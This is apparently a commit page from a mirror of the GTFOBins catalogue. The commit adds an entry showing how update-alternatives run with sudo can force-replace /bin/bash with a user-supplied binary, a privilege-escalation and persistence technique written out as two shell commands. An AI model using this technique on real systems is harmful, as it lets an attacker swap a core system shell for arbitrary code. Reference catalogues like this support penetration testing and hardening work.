mirror of
https://github.com/GTFOBins/GTFOBins.github.io
synced 2024-12-25 06:19:27 +01:00
Create update-alternatives.md
Use update-alternatives with sudo to replace system binaries
This commit is contained in:
parent
cbfec71fa5
commit
e212f23455
8
_gtfobins/update-alternatives.md
Normal file
8
_gtfobins/update-alternatives.md
Normal file
@ -0,0 +1,8 @@
|
||||
---
|
||||
functions:
|
||||
sudo:
|
||||
- description: Replace existing binary with symlink pointing to user supplied binary
|
||||
code: |
|
||||
cp file_to_replace_bash /tmp/bash
|
||||
sudo update-alternatives --force --install /bin/bash bash /tmp/bash 1
|
||||
---
|
Loading…
Reference in New Issue
Block a user